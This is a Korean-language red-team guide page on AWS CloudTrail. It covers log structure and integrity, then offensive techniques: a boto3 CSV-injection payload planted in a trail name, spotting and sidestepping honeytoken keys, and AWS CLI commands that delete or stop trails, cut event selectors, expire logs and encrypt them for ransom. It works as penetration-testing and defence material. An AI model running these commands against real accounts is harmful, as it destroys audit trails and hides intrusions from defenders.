AWS - CloudTrail Enum

htARTE (HackTricks AWS Red Team 전문가)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

CloudTrail

AWS CloudTrail은 AWS 환경 내에서의 활동을 기록하고 모니터링합니다. 이는 AWS 리소스와의 모든 상호작용에 대해 누가 무엇을 언제 어디서 했는지를 포함한 자세한 이벤트 로그를 캡처합니다. 이는 변경 사항 및 작업의 감사 추적을 제공하여 보안 분석, 규정 준수 감사 및 리소스 변경 추적을 지원합니다. CloudTrail은 사용자 및 리소스 동작을 이해하고 보안 포지션을 강화하며 규정 준수를 보장하는 데 필수적입니다.

각 로그된 이벤트에는 다음이 포함됩니다:

  • 호출된 API의 이름: eventName

  • 호출된 서비스: eventSource

  • 시간: eventTime

  • IP 주소: SourceIPAddress

  • 에이전트 방법: userAgent. 예시:

    • Signing.amazonaws.com - AWS Management Console에서

    • console.amazonaws.com - 계정의 루트 사용자

    • lambda.amazonaws.com - AWS Lambda

  • 요청 매개변수: requestParameters

  • 응답 요소: responseElements

이벤트는 대략 5분마다 새로운 로그 파일에 JSON 파일로 기록되며, CloudTrail에 의해 보유되며, 로그 파일은 약 15분 후에 S3로 전달됩니다. CloudTrail 로그는 계정 및 지역을 가로지르는 방식으로 집계될 수 있습니다. CloudTrail은 로그 파일 무결성을 사용하여 로그 파일이 CloudTrail이 제공한 이후에 변경되지 않았는지 확인할 수 있도록 합니다. 로그 내용의 SHA-256 해시를 다이제스트 파일 내에 생성합니다. 새로운 로그의 sha-256 해시는 매 시간마다 생성됩니다. Trail을 생성할 때 이벤트 선택기를 사용하여 로깅할 Trail(관리, 데이터 또는 통찰 이벤트)을 지정할 수 있습니다.

로그는 S3 버킷에 저장됩니다. 기본적으로 서버 측 암호화(SSE-S3)가 사용되므로 AWS는 액세스 권한이 있는 사람들을 위해 내용을 복호화하지만 추가 보안을 위해 KMS와 자체 키를 사용할 수 있습니다.

로그는 다음과 같은 이름 형식의 S3 버킷에 저장됩니다:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketName이 다음과 같은 경우: aws-cloudtrail-logs-<accountid>-<random>

  • 예: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

각 폴더 내에서 각 로그는 다음 형식을 따르는 이름을 가집니다: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

로그 파일 명명 규칙

또한 (파일 무결성 확인을 위한) 다이제스트 파일은 동일한 버킷에 있습니다:

여러 계정에서 로그 집계

  • 로그 파일을 전달할 AWS 계정에서 트레일 생성

  • CloudTrail에 대한 교차 계정 액세스를 허용하도록 대상 S3 버킷에 권한 적용하고 액세스해야 하는 각 AWS 계정을 허용

  • 다른 AWS 계정에서 새 트레일을 생성하고 단계 1에서 생성한 버킷을 사용하도록 선택

그러나 모든 로그를 동일한 S3 버킷에 저장할 수 있더라도 여러 계정의 CloudTrail 로그를 단일 AWS 계정에 속한 CloudWatch Logs로 집계할 수는 없습니다.

계정은 CloudTrail에서 활성화된 다른 트레일을 가질 수 있으므로 동일한(또는 다른) 로그를 다른 버킷에 저장할 수 있습니다.

1개의 조직 계정에서 모든 조직 계정으로 Cloudtrail

CloudTrail을 생성할 때, 조직의 모든 계정에 대해 CloudTrail을 활성화하고 로그를 하나의 버킷에 저장할 수 있습니다:

이렇게 하면 모든 지역의 모든 계정에 대해 CloudTrail을 쉽게 구성하고 로그를 1개의 계정(보호해야 함)에 집중할 수 있습니다.

로그 파일 확인

로그가 변경되지 않았는지 확인하려면 다음을 실행할 수 있습니다

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

CloudWatch로의 로그

CloudTrail은 자동으로 로그를 CloudWatch로 보낼 수 있어서 의심스러운 활동이 수행될 때 경고 알림을 설정할 수 있습니다. CloudTrail이 로그를 CloudWatch로 보낼 수 있도록 하려면 해당 작업을 허용하는 역할을 만들어야 합니다. 가능하다면 AWS 기본 역할을 사용하는 것이 좋습니다. 이 역할을 통해 CloudTrail이 다음을 수행할 수 있습니다:

  • CreateLogStream: CloudWatch Logs 로그 스트림 생성을 허용합니다.

  • PutLogEvents: CloudTrail 로그를 CloudWatch Logs 로그 스트림으로 전달합니다.

이벤트 기록

CloudTrail 이벤트 기록을 통해 기록된 로그를 테이블에서 검토할 수 있습니다:

통찰력

CloudTrail 통찰력은 CloudTrail 트레일에서 쓰기 관리 이벤트를 자동으로 분석하고 이상 활동을 경고합니다. 예를 들어, 설정된 기준과 다른 TerminateInstance 이벤트가 증가하는 경우, 이를 통찰력 이벤트로 볼 수 있습니다. 이러한 이벤트는 이상한 API 활동을 찾고 대응하는 것을 이전보다 쉽게 만듭니다.

통찰력은 CloudTrail 로그와 동일한 버킷에 저장됩니다: BucketName/AWSLogs/AccountID/CloudTrail-Insight

보안

CloudTrail 로그 파일 무결성

  • 로그가 변경되거나 삭제되었는지 확인 (변조 여부 확인)

  • 다이제스트 파일 사용 (각 파일에 대한 해시 생성)

    • SHA-256 해싱

    • SHA-256과 RSA를 사용한 디지털 서명

    • Amazon 소유의 개인 키

  • 다이제스트 파일 생성에 1시간이 소요됨 (매 시간 정각에 수행)

무단 접근 방지

  • IAM 정책 및 S3 버킷 정책 사용

    • 보안팀 —> 관리자 액세스

    • 감사인 —> 읽기 전용 액세스

  • 로그를 암호화하기 위해 SSE-S3/SSE-KMS 사용

로그 파일 삭제 방지

  • IAM 및 버킷 정책으로 삭제 액세스 제한

  • S3 MFA 삭제 구성

  • 로그 파일 유효성 검사로 확인

액세스 어드바이저

AWS 액세스 어드바이저는 최근 400일간의 AWS CloudTrail 로그를 수집하여 통찰을 얻습니다. CloudTrail은 AWS 계정에서 수행된 AWS API 호출 및 관련 이벤트의 기록을 캡처합니다. 액세스 어드바이저는 이 데이터를 활용하여 서비스가 마지막으로 액세스된 시기를 표시합니다. CloudTrail 로그를 분석함으로써 액세스 어드바이저는 IAM 사용자 또는 역할이 액세스한 AWS 서비스 및 해당 액세스가 발생한 시간을 결정할 수 있습니다. 이를 통해 AWS 관리자는 권한을 세분화하는 데 도움을 받을 수 있으며, 액세스되지 않은 서비스를 식별하고 실제 사용 패턴에 기반한 지나치게 넓은 권한을 줄일 수 있습니다.

따라서, 액세스 어드바이저는 사용자에게 부여된 불필요한 권한에 대해 알려주어 관리자가 제거할 수 있도록 합니다

작업

열거

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail 내에서 CSV 주입을 수행하여 로그가 CSV로 내보내지고 Excel에서 열리면 임의의 코드를 실행할 수 있습니다. 다음 코드는 페이로드를 포함하는 나쁜 Trail 이름의 로그 항목을 생성합니다:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

CSV Injection에 대한 자세한 정보는 다음 페이지를 확인하십시오:

이 특정 기술에 대한 자세한 정보는 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/에서 확인하십시오.

탐지 우회

HoneyTokens 우회

HoneyTokens는 민감한 정보 유출을 탐지하기 위해 생성됩니다. AWS의 경우, 사용이 모니터링되는 AWS 키입니다. 해당 키로 작업을 트리거하는 경우, 누군가 그 키를 도난당했을 수 있습니다.

그러나 이 모니터링은 CloudTrail을 통해 수행되며, 일부 AWS 서비스는 CloudTrail로 로그를 보내지 않습니다(여기에서 목록 확인). 이러한 서비스 중 일부는 무단으로 접근한 사람(허니토큰 키)이 접근하려고 할 때 ARN을 포함한 오류로 응답합니다.

이렇게 하면 공격자는 로그를 트리거하지 않고도 키의 ARN을 얻을 수 있습니다. ARN에서 공격자는 AWS 계정 ID 및 이름을 볼 수 있으며, 이를 통해 공격자는 HoneyToken의 회사 계정 ID 및 이름을 쉽게 식별할 수 있습니다.

HoneyTokens 탐지

PacuCanarytokens, SpaceCrab, SpaceSiren에 속하는 키를 감지합니다:

  • 역할 이름이나 계정 ID에 **canarytokens.org**가 나타나면 오류 메시지에 **534261010715**가 나타납니다.

  • 최근에 테스트한 결과, 계정 **717712589309**를 사용하고 이름에 canarytokens.com 문자열이 여전히 포함되어 있습니다.

  • 역할 이름 또는 오류 메시지에 **SpaceCrab**가 나타나면

  • SpaceSiren은 사용자 이름을 생성하기 위해 uuids를 사용합니다: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 이름이 랜덤으로 생성된 것처럼 보인다면, 그것이 HoneyToken일 가능성이 높습니다.

모든 공개 API가 CloudTrail 로그를 생성하지 않는 것으로 확인되었으므로, 직접 찾아야 할 수도 있습니다...

또는 액세스 키 내부에 인코딩된 계정 ID를 가져와 여기에서 설명된대로 Honeytokens AWS 계정 목록과 계정 ID를 확인할 수 있습니다:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

자세한 정보는 원본 연구를 확인하십시오.

제3의 인프라 구조에 액세스

특정 AWS 서비스는 데이터베이스 또는 Kubernetes 클러스터(EKS)와 같은 인프라를 생성할 수 있습니다. 사용자가 이러한 서비스(예: Kubernetes API)에 직접 액세스하는 경우 AWS API를 사용하지 않으므로, CloudTrail은 이 통신을 볼 수 없습니다.

따라서 EKS에 액세스 권한이 있는 사용자는 EKS API의 URL을 발견하고 로컬에서 토큰을 생성하여 CloudTrail에 감지되지 않고 직접 API 서비스와 통신할 수 있습니다.

더 많은 정보:

pageAWS - EKS Post Exploitation

CloudTrail 구성 수정

트레일 삭제

aws cloudtrail delete-trail --name [trail-name]

트레일 중지

aws cloudtrail stop-logging --name [trail-name]

다중 지역 로깅 비활성화

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

이벤트 선택기를 사용하여 로깅 비활성화

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

첫 번째 예에서는 단일 이벤트 셀렉터가 단일 객체로 구성된 JSON 배열로 제공됩니다. "ReadWriteType": "ReadOnly"이벤트 셀렉터가 읽기 전용 이벤트만 캡처하도록 지정함을 나타냅니다 (따라서 CloudTrail 인사이트는 쓰기 이벤트를 확인하지 않을 것입니다).

특정 요구 사항에 따라 이벤트 셀렉터를 사용자 정의할 수 있습니다.

S3 라이프사이클 정책을 통한 로그 삭제

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

버킷 구성 수정

  • S3 버킷 삭제

  • 버킷 정책 변경하여 CloudTrail 서비스로부터의 쓰기 작업 거부

  • S3 버킷에 객체 삭제 수명 주기 정책 추가

  • CloudTrail 로그를 암호화하는 데 사용된 kms 키 비활성화

Cloudtrail 랜섬웨어

S3 랜섬웨어

비대칭 키를 생성하고 CloudTrail이 해당 키로 데이터를 암호화하도록 만들고 개인 키를 삭제하여 CloudTrail 콘텐츠를 복구할 수 없게 만들 수 있습니다. 이것은 기본적으로 S3-KMS 랜섬웨어로 설명되어 있습니다:

pageAWS - S3 Post Exploitation

KMS 랜섬웨어

이것은 이전 공격을 다른 권한 요구 사항으로 수행하는 가장 쉬운 방법입니다:

pageAWS - KMS Post Exploitation

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新